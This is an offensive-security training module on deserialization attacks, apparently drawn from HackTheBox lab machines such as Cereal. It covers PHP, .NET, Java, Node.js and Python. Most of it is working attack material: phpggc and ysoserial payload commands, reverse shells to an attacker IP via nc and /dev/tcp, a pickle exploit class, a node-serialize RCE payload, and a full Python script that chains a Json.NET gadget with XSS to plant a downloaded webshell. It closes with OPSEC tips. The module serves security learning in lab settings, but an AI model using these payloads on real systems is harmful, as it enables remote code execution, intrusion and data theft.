Back to All Modules

Deserialization Attacks

#Overview

Deserialization vulnerabilities occur when applications deserialize untrusted user data without validation, allowing attackers to instantiate arbitrary objects that execute malicious code through magic methods or gadget chains. The impact ranges from denial of service to full remote code execution. Deserialization exploits require a thorough understanding of the target application's class structure and the available "gadgets" -- classes with dangerous magic methods (__destruct, __wakeup, __toString) that form exploitable chains when deserialized in sequence.

#Prerequisites

  • Identified deserialization sink (user input passed to unserialize(), ObjectInputStream, BinaryFormatter, etc.)
  • Source code access or gadget chain knowledge for the target framework
  • Language-specific deserialization tooling (ysoserial, phpggc, ysoserial.net)
  • Python HTTP server for payload staging

#Detection & Enumeration

#Identifying Deserialization Formats

# PHP serialized format
# Pattern: O:<length>:"<class_name>":<num_properties>:{...}
# Example: O:8:"UserData":2:{s:8:"username";s:5:"admin";s:4:"role";s:5:"admin";}

# Java serialized format
# Binary format starting with 0xAC ED 0x00 0x05
# Base64-encoded: rO0AB...

# .NET serialized (BinaryFormatter)
# Binary format: starts with 0x00 0x01 0x00 0x00 0x00

# Python pickle format
# Starts with: (i..., c..., or \x80 (protocol version)

# JSON with type information (.NET Json.NET TypeNameHandling)
# "{\"$type\": \"Namespace.Class, Assembly\"}"
BASH

#PHP Serialization Detection

# Look for serialized data in cookies, POST parameters, hidden fields
# Common parameter names: data=, serialized=, token=, state=

# Test by modifying class name
# Original: O:8:"UserData":2:{s:8:"username";s:5:"admin";s:4:"role";s:5:"guest";}
# Modified: O:8:"UserData":2:{s:8:"username";s:5:"admin";s:4:"role";s:5:"admin";}

# Test by modifying property values or adding properties
curl -X POST http://target.htb/process \
  -d 'data=O:8:"UserData":2:{s:8:"username";s:5:"admin";s:4:"role";s:5:"admin";}'
BASH

#.NET Deserialization Detection (Cereal HTB Technique)

// JSON.NET TypeNameHandling.Auto or All indicates deserialization sink
JsonConvert.DeserializeObject(json, new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.Auto  // DANGEROUS
});

// Look for $type in JSON payloads
// {"$type": "Namespace.Class, Assembly", "property": "value"}
CSHARP

#Exploitation / Execution

#PHP: unserialize() Exploitation

# Identify magic methods in source code
# Common dangerous magic methods:
# __destruct()   - Called when object is destroyed
# __wakeup()     - Called during unserialize()
# __toString()   - Called when object is used as string
# __call()       - Called when invoking inaccessible methods

# Use phpggc to generate gadget chains
phpggc -l                          # List available gadget chains
phpggc <chain> -s <command>        # Generate serialized payload

# Common PHP gadget chains
phpggc Monolog/RCE1 system id                     # Monolog library
phpggc Laravel/RCE1 system 'cat /etc/passwd'      # Laravel framework
phpggc Symfony/RCE1 system id                      # Symfony framework
phpggc Guzzle/RCE1 system id                       # Guzzle library

# Custom payload modification
phpggc -p phar -o exploit.phar Monolog/RCE1 system 'nc -e /bin/bash 10.10.14.40 4444'
BASH
# PHP unserialize() exploitation workflow
# 1. Identify the deserialization call (e.g., in cookie, POST data)
# 2. Enumerate available classes via source code or phpggc -l
# 3. Generate payload with phpggc
# 4. Deliver payload to the deserialization endpoint
# 5. Catch reverse shell on listener

# Example: cookie-based deserialization
payload=$(phpggc Symfony/RCE1 system 'bash -c "bash -i >& /dev/tcp/10.10.14.40/4444 0>&1"')
curl -s -b "data=$payload" http://target.htb/admin
BASH

#.NET: BinaryFormatter / Json.NET Exploitation

# ysoserial.net for .NET deserialization
# Common formatters:
# - BinaryFormatter
# - LosFormatter
# - SoapFormatter
# - ObjectStateFormatter

# Generate payload with ysoserial.net
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "cmd.exe /c whoami" -o base64

# Json.NET TypeNameHandling exploit (Cereal HTB technique)
# Without ysoserial: use application-internal classes as gadgets
BASH
// Cereal HTB: Cereal.DownloadHelper class as a gadget
// The DownloadHelper class has URL and FilePath setters that call Download()
{
  "$type": "Cereal.DownloadHelper, Cereal, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null",
  "URL": "http://10.10.14.4/cmd.aspx",
  "FilePath": "C:\\inetpub\\source\\uploads\\cmd.aspx"
}
JSON
# Trigger the deserialization via XSS to bypass IP whitelist (Cereal HTB technique)
# The endpoint is IP-restricted to localhost only
# Use XSS to send requests from the victim's browser (localhost context)

# Python script to automate Cereal exploitation
BASH
from requests import post, packages
from urllib3.exceptions import InsecureRequestWarning

packages.urllib3.disable_warnings(category=InsecureRequestWarning)

url = "https://cereal.htb/requests"
auth = {"Authorization": "Bearer <JWT_token>"}

# 1. Create deserialization payload entry
payload = {"json": '{"$type": "Cereal.DownloadHelper, Cereal, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null", "URL": "http://10.10.14.4/cmd.aspx", "FilePath": "C:\\\\inetpub\\\\source\\\\uploads\\\\cmd.aspx"}'}
resp = post(url, json=payload, headers=auth, verify=False).json()
cereal_id = resp['id']

# 2. Send XSS to trigger the deserialization from localhost
js_payload = f"<script>const xhr = new XMLHttpRequest\\x28\\x29;xhr.open\\x28'GET','https://cereal.htb/requests/{cereal_id}'\\x29;xhr.setRequestHeader\\x28'Authorization','Bearer <JWT>'\\x29;xhr.send\\x28\\x29;</script>"
xss_payload = {"json": f'{{"title": "[XSS](javascript: document.write`{js_payload}`)"}}'}
post(url, json=xss_payload, headers=auth, verify=False)
PYTHON

#.NET ViewState Deserialization

# ViewState deserialization requires the machineKey
# If machineKey is known (from source code or config leak), forge ViewState
ysoserial.net -g TypeConfuseDelegate -f LosFormatter -c "cmd.exe" --path="/" --apppath="/" --machinerykey="<key>" --validationalg="SHA1" --generator="CA0B0334"

# Look for ViewState in ASP.NET pages
# __VIEWSTATE parameter in POST requests
# __VIEWSTATEGENERATOR parameter
BASH

#Java: ysoserial / RMI / JMX

# Common Java deserialization vectors:
# - HTTP request body, cookies, GET parameters (Base64-encoded)
# - RMI (Remote Method Invocation) endpoints
# - JMX (Java Management Extensions)
# - JMS (Java Message Service) queues

# ysoserial payload generation
java -jar ysoserial.jar CommonsCollections1 'nc -e /bin/bash 10.10.14.40 4444' | base64 -w0

# Common Java gadget chains
java -jar ysoserial.jar CommonsCollections1  'id'
java -jar ysoserial.jar CommonsCollections5  'id'
java -jar ysoserial.jar CommonsBeanutils1    'id'
java -jar ysoserial.jar Spring1              'id'

# Testing a suspected Java deserialization endpoint
java -jar ysoserial.jar URLDNS 'http://10.10.14.40:80/test' | base64 -w0
# Listen for DNS/HTTP callback to confirm deserialization

# JMX exploitation
java -jar ysoserial.jar CommonsCollections1 'id' > /tmp/payload.ser
# Use mjet or beanshooter for JMX interaction
BASH

#Node.js: Deserialization

# node-serialize module
# Format: {"key":"_$$ND_FUNC$$_function (){ require('child_process').exec('id'); }()"}
# Payload (base64-encoded):
echo '{"rce":"_$$ND_FUNC$$_function (){ require(\"child_process\").exec(\"nc -e /bin/bash 10.10.14.40 4444\", function(){}); }()"}' | base64

# funcster module
# Payload uses JavaScript IIFE
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('id'); }()"}

# javascript-serializer module
# Vulnerable to function serialization
BASH

#Python: Pickle / PyYAML

# Pickle deserialization (never unpickle untrusted data)
import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('nc -e /bin/bash 10.10.14.40 4444',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Send the payload to the deserialization endpoint

# PyYAML unsafe loading
# If yaml.load() used instead of yaml.safe_load()
python -c 'import yaml; print(yaml.dump(yaml.load("!!python/object/apply:os.system [\"id\"]")))'
BASH

#Gadget Chain Concepts

Gadget Chains: A sequence of object instantiations and method calls
triggered during deserialization that ultimately execute attacker-controlled code.

Chain Structure:
1. Start: A class with a magic method called during deserialization
   (e.g., __destruct, __wakeup, readObject, finalize)
2. Middle: Intermediate classes whose methods are called as the chain propagates
   (e.g., __toString, __call, __get, compareTo, hashCode)
3. Sink: A class/method that performs the dangerous action
   (e.g., system(), exec(), file_put_contents(), Runtime.exec())

Example PHP chain:
__destruct() -> __toString() -> call_user_func() -> system()
  [Start]       [Middle]          [Sink]           [Command]
TEXT

#Common Pitfalls

  • Payload blocked by keyword filter -- find alternative gadget chains without blocked classes (Cereal HTB: ObjectDataProvider and System blocked, used internal DownloadHelper class instead)
  • Wrong gadget chain for framework version -- verify the exact library versions
  • Deserialization endpoint IP-restricted -- chain with XSS/SSRF to trigger from localhost
  • Payload encoding issues -- ensure correct Base64 encoding/decoding for binary formats
  • Magic methods not triggered -- verify object lifecycle: __destruct only fires at script end
  • PHP serializer version mismatch -- PHP 7.x and 8.x have different serialization behaviors

#OPSEC Considerations

  • Deserialization payloads often contain distinctive class names visible in request logs
  • ysoserial/phpggc generate predictable payload structures
  • Repeated deserialization attempts with different gadget chains are noisy
  • Downloading external files (DownloadHelper) creates outbound connections visible in firewalls
  • Deserialization errors may produce verbose stack traces in server responses

#Post-Exploitation Value

  • Remote code execution as the web server user
  • File download to web-accessible directories for webshell deployment
  • Command execution without uploading files to disk
  • Access to application secrets stored in environment variables

#Cross-References

#Tool References

ToolLink
phpggchttps://github.com/ambionics/phpggc
ysoserial (Java)https://github.com/frohoff/ysoserial
ysoserial.net (.NET)https://github.com/pwntester/ysoserial.net
JexBoss (JBoss)https://github.com/joaomatosf/jexboss
marshalsechttps://github.com/mbechler/marshalsec

#Source Machines

  • Cereal (Hard, Windows) -- .NET Json.NET TypeNameHandling.Auto deserialization, internal DownloadHelper gadget, XSS chain to bypass IP whitelist, download webshell to uploads directory